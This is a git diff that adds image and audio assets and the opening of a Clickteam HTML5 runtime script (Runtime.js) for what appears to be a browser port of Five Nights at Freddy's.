diff --git a/games/fnaf/fnaf1/resources/0316.png b/games/fnaf/fnaf1/resources/0316.png
new file mode 100644
index 00000000..40f677ee
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0316.png differ
diff --git a/games/fnaf/fnaf1/resources/0317.png b/games/fnaf/fnaf1/resources/0317.png
new file mode 100644
index 00000000..3989e447
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0317.png differ
diff --git a/games/fnaf/fnaf1/resources/0318.png b/games/fnaf/fnaf1/resources/0318.png
new file mode 100644
index 00000000..aa33226c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0318.png differ
diff --git a/games/fnaf/fnaf1/resources/0319.png b/games/fnaf/fnaf1/resources/0319.png
new file mode 100644
index 00000000..2eb2aa8f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0319.png differ
diff --git a/games/fnaf/fnaf1/resources/0320.png b/games/fnaf/fnaf1/resources/0320.png
new file mode 100644
index 00000000..a959f8fc
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0320.png differ
diff --git a/games/fnaf/fnaf1/resources/0321.png b/games/fnaf/fnaf1/resources/0321.png
new file mode 100644
index 00000000..2dbfe351
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0321.png differ
diff --git a/games/fnaf/fnaf1/resources/0322.png b/games/fnaf/fnaf1/resources/0322.png
new file mode 100644
index 00000000..5dcba97f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0322.png differ
diff --git a/games/fnaf/fnaf1/resources/0323.png b/games/fnaf/fnaf1/resources/0323.png
new file mode 100644
index 00000000..45933216
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0323.png differ
diff --git a/games/fnaf/fnaf1/resources/0324.png b/games/fnaf/fnaf1/resources/0324.png
new file mode 100644
index 00000000..a506dfd7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0324.png differ
diff --git a/games/fnaf/fnaf1/resources/0325.png b/games/fnaf/fnaf1/resources/0325.png
new file mode 100644
index 00000000..a0e31e01
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0325.png differ
diff --git a/games/fnaf/fnaf1/resources/0326.png b/games/fnaf/fnaf1/resources/0326.png
new file mode 100644
index 00000000..c4985004
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0326.png differ
diff --git a/games/fnaf/fnaf1/resources/0327.png b/games/fnaf/fnaf1/resources/0327.png
new file mode 100644
index 00000000..531d5529
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0327.png differ
diff --git a/games/fnaf/fnaf1/resources/0329.png b/games/fnaf/fnaf1/resources/0329.png
new file mode 100644
index 00000000..eb04ec24
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0329.png differ
diff --git a/games/fnaf/fnaf1/resources/0330.png b/games/fnaf/fnaf1/resources/0330.png
new file mode 100644
index 00000000..c023628c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0330.png differ
diff --git a/games/fnaf/fnaf1/resources/0331.png b/games/fnaf/fnaf1/resources/0331.png
new file mode 100644
index 00000000..33165244
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0331.png differ
diff --git a/games/fnaf/fnaf1/resources/0332.png b/games/fnaf/fnaf1/resources/0332.png
new file mode 100644
index 00000000..b123460c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0332.png differ
diff --git a/games/fnaf/fnaf1/resources/0333.png b/games/fnaf/fnaf1/resources/0333.png
new file mode 100644
index 00000000..e45618ee
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0333.png differ
diff --git a/games/fnaf/fnaf1/resources/0334.png b/games/fnaf/fnaf1/resources/0334.png
new file mode 100644
index 00000000..62eccc1e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0334.png differ
diff --git a/games/fnaf/fnaf1/resources/0335.png b/games/fnaf/fnaf1/resources/0335.png
new file mode 100644
index 00000000..511cb34a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0335.png differ
diff --git a/games/fnaf/fnaf1/resources/0336.png b/games/fnaf/fnaf1/resources/0336.png
new file mode 100644
index 00000000..ae907059
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0336.png differ
diff --git a/games/fnaf/fnaf1/resources/0337.png b/games/fnaf/fnaf1/resources/0337.png
new file mode 100644
index 00000000..adae0c5f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0337.png differ
diff --git a/games/fnaf/fnaf1/resources/0338.png b/games/fnaf/fnaf1/resources/0338.png
new file mode 100644
index 00000000..703518bd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0338.png differ
diff --git a/games/fnaf/fnaf1/resources/0340.png b/games/fnaf/fnaf1/resources/0340.png
new file mode 100644
index 00000000..9b649d67
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0340.png differ
diff --git a/games/fnaf/fnaf1/resources/0348.png b/games/fnaf/fnaf1/resources/0348.png
new file mode 100644
index 00000000..4d279394
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0348.png differ
diff --git a/games/fnaf/fnaf1/resources/0354.png b/games/fnaf/fnaf1/resources/0354.png
new file mode 100644
index 00000000..a0c7523a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0354.png differ
diff --git a/games/fnaf/fnaf1/resources/0355.png b/games/fnaf/fnaf1/resources/0355.png
new file mode 100644
index 00000000..0160baa9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0355.png differ
diff --git a/games/fnaf/fnaf1/resources/0358.png b/games/fnaf/fnaf1/resources/0358.png
new file mode 100644
index 00000000..849e6a83
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0358.png differ
diff --git a/games/fnaf/fnaf1/resources/0396.png b/games/fnaf/fnaf1/resources/0396.png
new file mode 100644
index 00000000..d4d8006f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0396.png differ
diff --git a/games/fnaf/fnaf1/resources/0397.png b/games/fnaf/fnaf1/resources/0397.png
new file mode 100644
index 00000000..67bc134d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0397.png differ
diff --git a/games/fnaf/fnaf1/resources/0398.png b/games/fnaf/fnaf1/resources/0398.png
new file mode 100644
index 00000000..18a89613
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0398.png differ
diff --git a/games/fnaf/fnaf1/resources/0399.png b/games/fnaf/fnaf1/resources/0399.png
new file mode 100644
index 00000000..e0d21c68
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0399.png differ
diff --git a/games/fnaf/fnaf1/resources/0400.png b/games/fnaf/fnaf1/resources/0400.png
new file mode 100644
index 00000000..260a5f0b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0400.png differ
diff --git a/games/fnaf/fnaf1/resources/0401.png b/games/fnaf/fnaf1/resources/0401.png
new file mode 100644
index 00000000..123ed75d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0401.png differ
diff --git a/games/fnaf/fnaf1/resources/0402.png b/games/fnaf/fnaf1/resources/0402.png
new file mode 100644
index 00000000..396b49e2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0402.png differ
diff --git a/games/fnaf/fnaf1/resources/0403.png b/games/fnaf/fnaf1/resources/0403.png
new file mode 100644
index 00000000..e6f6c9e2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0403.png differ
diff --git a/games/fnaf/fnaf1/resources/0404.png b/games/fnaf/fnaf1/resources/0404.png
new file mode 100644
index 00000000..2f0187e2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0404.png differ
diff --git a/games/fnaf/fnaf1/resources/0405.png b/games/fnaf/fnaf1/resources/0405.png
new file mode 100644
index 00000000..e6c669e1
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0405.png differ
diff --git a/games/fnaf/fnaf1/resources/0406.png b/games/fnaf/fnaf1/resources/0406.png
new file mode 100644
index 00000000..08888677
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0406.png differ
diff --git a/games/fnaf/fnaf1/resources/0407.png b/games/fnaf/fnaf1/resources/0407.png
new file mode 100644
index 00000000..164e3226
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0407.png differ
diff --git a/games/fnaf/fnaf1/resources/0408.png b/games/fnaf/fnaf1/resources/0408.png
new file mode 100644
index 00000000..c21811c6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0408.png differ
diff --git a/games/fnaf/fnaf1/resources/0409.png b/games/fnaf/fnaf1/resources/0409.png
new file mode 100644
index 00000000..2b12523a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0409.png differ
diff --git a/games/fnaf/fnaf1/resources/0410.png b/games/fnaf/fnaf1/resources/0410.png
new file mode 100644
index 00000000..f37ce19d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0410.png differ
diff --git a/games/fnaf/fnaf1/resources/0411.png b/games/fnaf/fnaf1/resources/0411.png
new file mode 100644
index 00000000..39bf34b2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0411.png differ
diff --git a/games/fnaf/fnaf1/resources/0412.png b/games/fnaf/fnaf1/resources/0412.png
new file mode 100644
index 00000000..4218b00f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0412.png differ
diff --git a/games/fnaf/fnaf1/resources/0413.png b/games/fnaf/fnaf1/resources/0413.png
new file mode 100644
index 00000000..beaf8f0c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0413.png differ
diff --git a/games/fnaf/fnaf1/resources/0415.png b/games/fnaf/fnaf1/resources/0415.png
new file mode 100644
index 00000000..b621f8e1
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0415.png differ
diff --git a/games/fnaf/fnaf1/resources/0430.png b/games/fnaf/fnaf1/resources/0430.png
new file mode 100644
index 00000000..415c9924
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0430.png differ
diff --git a/games/fnaf/fnaf1/resources/0431.png b/games/fnaf/fnaf1/resources/0431.png
new file mode 100644
index 00000000..3bd61641
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0431.png differ
diff --git a/games/fnaf/fnaf1/resources/0434.png b/games/fnaf/fnaf1/resources/0434.png
new file mode 100644
index 00000000..017c74c9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0434.png differ
diff --git a/games/fnaf/fnaf1/resources/0435.png b/games/fnaf/fnaf1/resources/0435.png
new file mode 100644
index 00000000..47342d3d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0435.png differ
diff --git a/games/fnaf/fnaf1/resources/0436.png b/games/fnaf/fnaf1/resources/0436.png
new file mode 100644
index 00000000..028b88f9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0436.png differ
diff --git a/games/fnaf/fnaf1/resources/0437.png b/games/fnaf/fnaf1/resources/0437.png
new file mode 100644
index 00000000..fe5d57ee
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0437.png differ
diff --git a/games/fnaf/fnaf1/resources/0438.png b/games/fnaf/fnaf1/resources/0438.png
new file mode 100644
index 00000000..40b0f1f3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0438.png differ
diff --git a/games/fnaf/fnaf1/resources/0439.png b/games/fnaf/fnaf1/resources/0439.png
new file mode 100644
index 00000000..f11b7ee0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0439.png differ
diff --git a/games/fnaf/fnaf1/resources/0440.png b/games/fnaf/fnaf1/resources/0440.png
new file mode 100644
index 00000000..30d02d06
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0440.png differ
diff --git a/games/fnaf/fnaf1/resources/0441.png b/games/fnaf/fnaf1/resources/0441.png
new file mode 100644
index 00000000..a58f193f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0441.png differ
diff --git a/games/fnaf/fnaf1/resources/0442.png b/games/fnaf/fnaf1/resources/0442.png
new file mode 100644
index 00000000..49f24be9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0442.png differ
diff --git a/games/fnaf/fnaf1/resources/0451.png b/games/fnaf/fnaf1/resources/0451.png
new file mode 100644
index 00000000..1d402a4e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0451.png differ
diff --git a/games/fnaf/fnaf1/resources/0452.png b/games/fnaf/fnaf1/resources/0452.png
new file mode 100644
index 00000000..7dcff66a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0452.png differ
diff --git a/games/fnaf/fnaf1/resources/0476.png b/games/fnaf/fnaf1/resources/0476.png
new file mode 100644
index 00000000..ec510eed
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0476.png differ
diff --git a/games/fnaf/fnaf1/resources/0478.png b/games/fnaf/fnaf1/resources/0478.png
new file mode 100644
index 00000000..45c536ea
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0478.png differ
diff --git a/games/fnaf/fnaf1/resources/0479.png b/games/fnaf/fnaf1/resources/0479.png
new file mode 100644
index 00000000..850e2e72
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0479.png differ
diff --git a/games/fnaf/fnaf1/resources/0484.png b/games/fnaf/fnaf1/resources/0484.png
new file mode 100644
index 00000000..d7c82441
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0484.png differ
diff --git a/games/fnaf/fnaf1/resources/0485.png b/games/fnaf/fnaf1/resources/0485.png
new file mode 100644
index 00000000..632b819a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0485.png differ
diff --git a/games/fnaf/fnaf1/resources/0486.png b/games/fnaf/fnaf1/resources/0486.png
new file mode 100644
index 00000000..2e0e6f17
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0486.png differ
diff --git a/games/fnaf/fnaf1/resources/0487.png b/games/fnaf/fnaf1/resources/0487.png
new file mode 100644
index 00000000..f486d108
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0487.png differ
diff --git a/games/fnaf/fnaf1/resources/0489.png b/games/fnaf/fnaf1/resources/0489.png
new file mode 100644
index 00000000..f5fb9480
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0489.png differ
diff --git a/games/fnaf/fnaf1/resources/0490.png b/games/fnaf/fnaf1/resources/0490.png
new file mode 100644
index 00000000..62dd56bc
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0490.png differ
diff --git a/games/fnaf/fnaf1/resources/0491.png b/games/fnaf/fnaf1/resources/0491.png
new file mode 100644
index 00000000..d896c05a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0491.png differ
diff --git a/games/fnaf/fnaf1/resources/0492.png b/games/fnaf/fnaf1/resources/0492.png
new file mode 100644
index 00000000..a954fe86
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0492.png differ
diff --git a/games/fnaf/fnaf1/resources/0493.png b/games/fnaf/fnaf1/resources/0493.png
new file mode 100644
index 00000000..5a2362b8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0493.png differ
diff --git a/games/fnaf/fnaf1/resources/0494.png b/games/fnaf/fnaf1/resources/0494.png
new file mode 100644
index 00000000..87806c3f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0494.png differ
diff --git a/games/fnaf/fnaf1/resources/0495.png b/games/fnaf/fnaf1/resources/0495.png
new file mode 100644
index 00000000..01a2d439
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0495.png differ
diff --git a/games/fnaf/fnaf1/resources/0496.png b/games/fnaf/fnaf1/resources/0496.png
new file mode 100644
index 00000000..8b55bfdd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0496.png differ
diff --git a/games/fnaf/fnaf1/resources/0497.png b/games/fnaf/fnaf1/resources/0497.png
new file mode 100644
index 00000000..699ad081
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0497.png differ
diff --git a/games/fnaf/fnaf1/resources/0498.png b/games/fnaf/fnaf1/resources/0498.png
new file mode 100644
index 00000000..d7623bf1
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0498.png differ
diff --git a/games/fnaf/fnaf1/resources/0499.png b/games/fnaf/fnaf1/resources/0499.png
new file mode 100644
index 00000000..1baed22f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0499.png differ
diff --git a/games/fnaf/fnaf1/resources/0500.png b/games/fnaf/fnaf1/resources/0500.png
new file mode 100644
index 00000000..f9ba8ce8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0500.png differ
diff --git a/games/fnaf/fnaf1/resources/0501.png b/games/fnaf/fnaf1/resources/0501.png
new file mode 100644
index 00000000..31d5ef1b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0501.png differ
diff --git a/games/fnaf/fnaf1/resources/0502.png b/games/fnaf/fnaf1/resources/0502.png
new file mode 100644
index 00000000..f0176b46
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0502.png differ
diff --git a/games/fnaf/fnaf1/resources/0503.png b/games/fnaf/fnaf1/resources/0503.png
new file mode 100644
index 00000000..0c5e4dd4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0503.png differ
diff --git a/games/fnaf/fnaf1/resources/0504.png b/games/fnaf/fnaf1/resources/0504.png
new file mode 100644
index 00000000..a8aceaee
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0504.png differ
diff --git a/games/fnaf/fnaf1/resources/0505.png b/games/fnaf/fnaf1/resources/0505.png
new file mode 100644
index 00000000..181ffb8e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0505.png differ
diff --git a/games/fnaf/fnaf1/resources/0506.png b/games/fnaf/fnaf1/resources/0506.png
new file mode 100644
index 00000000..856b960c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0506.png differ
diff --git a/games/fnaf/fnaf1/resources/0507.png b/games/fnaf/fnaf1/resources/0507.png
new file mode 100644
index 00000000..e2b1b471
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0507.png differ
diff --git a/games/fnaf/fnaf1/resources/0508.png b/games/fnaf/fnaf1/resources/0508.png
new file mode 100644
index 00000000..10ba6c89
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0508.png differ
diff --git a/games/fnaf/fnaf1/resources/0509.png b/games/fnaf/fnaf1/resources/0509.png
new file mode 100644
index 00000000..14847a09
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0509.png differ
diff --git a/games/fnaf/fnaf1/resources/0510.png b/games/fnaf/fnaf1/resources/0510.png
new file mode 100644
index 00000000..ac4b3e44
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0510.png differ
diff --git a/games/fnaf/fnaf1/resources/0511.png b/games/fnaf/fnaf1/resources/0511.png
new file mode 100644
index 00000000..00abc4a1
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0511.png differ
diff --git a/games/fnaf/fnaf1/resources/0512.png b/games/fnaf/fnaf1/resources/0512.png
new file mode 100644
index 00000000..177630a0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0512.png differ
diff --git a/games/fnaf/fnaf1/resources/0513.png b/games/fnaf/fnaf1/resources/0513.png
new file mode 100644
index 00000000..2b1af122
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0513.png differ
diff --git a/games/fnaf/fnaf1/resources/0514.png b/games/fnaf/fnaf1/resources/0514.png
new file mode 100644
index 00000000..138e7a00
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0514.png differ
diff --git a/games/fnaf/fnaf1/resources/0515.png b/games/fnaf/fnaf1/resources/0515.png
new file mode 100644
index 00000000..2771f1b0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0515.png differ
diff --git a/games/fnaf/fnaf1/resources/0516.png b/games/fnaf/fnaf1/resources/0516.png
new file mode 100644
index 00000000..bbcd35d7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0516.png differ
diff --git a/games/fnaf/fnaf1/resources/0517.png b/games/fnaf/fnaf1/resources/0517.png
new file mode 100644
index 00000000..636ed409
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0517.png differ
diff --git a/games/fnaf/fnaf1/resources/0518.png b/games/fnaf/fnaf1/resources/0518.png
new file mode 100644
index 00000000..6135ac20
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0518.png differ
diff --git a/games/fnaf/fnaf1/resources/0519.png b/games/fnaf/fnaf1/resources/0519.png
new file mode 100644
index 00000000..bdbbc55e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0519.png differ
diff --git a/games/fnaf/fnaf1/resources/0520.png b/games/fnaf/fnaf1/resources/0520.png
new file mode 100644
index 00000000..30bbfef7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0520.png differ
diff --git a/games/fnaf/fnaf1/resources/0521.png b/games/fnaf/fnaf1/resources/0521.png
new file mode 100644
index 00000000..13c3cb62
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0521.png differ
diff --git a/games/fnaf/fnaf1/resources/0522.png b/games/fnaf/fnaf1/resources/0522.png
new file mode 100644
index 00000000..937c72b7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0522.png differ
diff --git a/games/fnaf/fnaf1/resources/0523.png b/games/fnaf/fnaf1/resources/0523.png
new file mode 100644
index 00000000..3906886d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0523.png differ
diff --git a/games/fnaf/fnaf1/resources/0525.png b/games/fnaf/fnaf1/resources/0525.png
new file mode 100644
index 00000000..b5dbbcc8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0525.png differ
diff --git a/games/fnaf/fnaf1/resources/0539.png b/games/fnaf/fnaf1/resources/0539.png
new file mode 100644
index 00000000..afe16608
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0539.png differ
diff --git a/games/fnaf/fnaf1/resources/0540.png b/games/fnaf/fnaf1/resources/0540.png
new file mode 100644
index 00000000..86650da9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0540.png differ
diff --git a/games/fnaf/fnaf1/resources/0543.png b/games/fnaf/fnaf1/resources/0543.png
new file mode 100644
index 00000000..07aabb18
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0543.png differ
diff --git a/games/fnaf/fnaf1/resources/0544.png b/games/fnaf/fnaf1/resources/0544.png
new file mode 100644
index 00000000..b5f5b2b3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0544.png differ
diff --git a/games/fnaf/fnaf1/resources/0545.png b/games/fnaf/fnaf1/resources/0545.png
new file mode 100644
index 00000000..0abbcba1
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0545.png differ
diff --git a/games/fnaf/fnaf1/resources/0546.png b/games/fnaf/fnaf1/resources/0546.png
new file mode 100644
index 00000000..757dedf3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0546.png differ
diff --git a/games/fnaf/fnaf1/resources/0548.png b/games/fnaf/fnaf1/resources/0548.png
new file mode 100644
index 00000000..3fb922b4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0548.png differ
diff --git a/games/fnaf/fnaf1/resources/0549.png b/games/fnaf/fnaf1/resources/0549.png
new file mode 100644
index 00000000..5af7e6c8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0549.png differ
diff --git a/games/fnaf/fnaf1/resources/0550.png b/games/fnaf/fnaf1/resources/0550.png
new file mode 100644
index 00000000..34d771ef
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0550.png differ
diff --git a/games/fnaf/fnaf1/resources/0551.png b/games/fnaf/fnaf1/resources/0551.png
new file mode 100644
index 00000000..a7c414ef
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0551.png differ
diff --git a/games/fnaf/fnaf1/resources/0552.png b/games/fnaf/fnaf1/resources/0552.png
new file mode 100644
index 00000000..cb0fbc33
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0552.png differ
diff --git a/games/fnaf/fnaf1/resources/0553.png b/games/fnaf/fnaf1/resources/0553.png
new file mode 100644
index 00000000..9f4db629
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0553.png differ
diff --git a/games/fnaf/fnaf1/resources/0554.png b/games/fnaf/fnaf1/resources/0554.png
new file mode 100644
index 00000000..a70a8f62
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0554.png differ
diff --git a/games/fnaf/fnaf1/resources/0555.png b/games/fnaf/fnaf1/resources/0555.png
new file mode 100644
index 00000000..aa4754d9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0555.png differ
diff --git a/games/fnaf/fnaf1/resources/0571.png b/games/fnaf/fnaf1/resources/0571.png
new file mode 100644
index 00000000..b9566ff3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0571.png differ
diff --git a/games/fnaf/fnaf1/resources/9999.mp3 b/games/fnaf/fnaf1/resources/9999.mp3
new file mode 100644
index 00000000..7b4bfd77
Binary files /dev/null and b/games/fnaf/fnaf1/resources/9999.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/FNAF1.cc1 b/games/fnaf/fnaf1/resources/FNAF1.cc1
new file mode 100644
index 00000000..4d3e7b68
Binary files /dev/null and b/games/fnaf/fnaf1/resources/FNAF1.cc1 differ
diff --git a/games/fnaf/fnaf1/resources/FNAF1.cch b/games/fnaf/fnaf1/resources/FNAF1.cch
new file mode 100644
index 00000000..57382a85
Binary files /dev/null and b/games/fnaf/fnaf1/resources/FNAF1.cch differ
diff --git a/games/fnaf/fnaf1/resources/M0001.png b/games/fnaf/fnaf1/resources/M0001.png
new file mode 100644
index 00000000..892f008c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0001.png differ
diff --git a/games/fnaf/fnaf1/resources/M0002.png b/games/fnaf/fnaf1/resources/M0002.png
new file mode 100644
index 00000000..4e32d1c2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0002.png differ
diff --git a/games/fnaf/fnaf1/resources/M0003.png b/games/fnaf/fnaf1/resources/M0003.png
new file mode 100644
index 00000000..f1d79d2a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0003.png differ
diff --git a/games/fnaf/fnaf1/resources/M0004.png b/games/fnaf/fnaf1/resources/M0004.png
new file mode 100644
index 00000000..604ec9d6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0004.png differ
diff --git a/games/fnaf/fnaf1/resources/M0005.png b/games/fnaf/fnaf1/resources/M0005.png
new file mode 100644
index 00000000..6935b6b8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0005.png differ
diff --git a/games/fnaf/fnaf1/resources/M0006.png b/games/fnaf/fnaf1/resources/M0006.png
new file mode 100644
index 00000000..515ea835
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0006.png differ
diff --git a/games/fnaf/fnaf1/resources/M0007.png b/games/fnaf/fnaf1/resources/M0007.png
new file mode 100644
index 00000000..634c66e9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0007.png differ
diff --git a/games/fnaf/fnaf1/resources/M0008.png b/games/fnaf/fnaf1/resources/M0008.png
new file mode 100644
index 00000000..15895f5b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0008.png differ
diff --git a/games/fnaf/fnaf1/resources/M0009.png b/games/fnaf/fnaf1/resources/M0009.png
new file mode 100644
index 00000000..2a6ccb2c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0009.png differ
diff --git a/games/fnaf/fnaf1/resources/M0010.png b/games/fnaf/fnaf1/resources/M0010.png
new file mode 100644
index 00000000..1eaf2b53
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0010.png differ
diff --git a/games/fnaf/fnaf1/resources/M0011.png b/games/fnaf/fnaf1/resources/M0011.png
new file mode 100644
index 00000000..77e75028
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0011.png differ
diff --git a/games/fnaf/fnaf1/resources/M0012.png b/games/fnaf/fnaf1/resources/M0012.png
new file mode 100644
index 00000000..78fed5fb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0012.png differ
diff --git a/games/fnaf/fnaf1/resources/M0013.png b/games/fnaf/fnaf1/resources/M0013.png
new file mode 100644
index 00000000..43202209
Binary files /dev/null and b/games/fnaf/fnaf1/resources/M0013.png differ
diff --git a/games/fnaf/fnaf1/src/Runtime.js b/games/fnaf/fnaf1/src/Runtime.js
new file mode 100644
index 00000000..aafa7e5c
--- /dev/null
+++ b/games/fnaf/fnaf1/src/Runtime.js
@@ -0,0 +1,49746 @@
+window['Runtime'] = (function Runtime(__can, __path){
+ var __scope = this;
+ // CService object
+ // -----------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ var CServices = {};
+
+ CServices.extend = function (top, bot)
+ {
+ var topC = Object.create(top.prototype || top);
+ if(bot !== undefined && (bot = bot.prototype || bot))
+ for(var prop in bot)
+ if(bot.hasOwnProperty(prop))
+ topC[prop] = bot[prop];
+
+ return topC;
+ };
+
+ CServices.HIWORD = function (ul)
+ {
+ return ul >> 16;
+ }
+ CServices.LOWORD = function (ul)
+ {
+ return ul & 0x0000FFFF;
+ }
+ CServices.MAKELONG = function (lo, hi)
+ {
+ return (hi << 16) | (lo & 0xFFFF);
+ }
+ CServices.getRValueFlash = function (rgb)
+ {
